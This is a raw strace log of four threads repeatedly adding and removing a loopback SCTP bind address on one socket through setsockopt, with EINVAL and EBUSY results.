[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
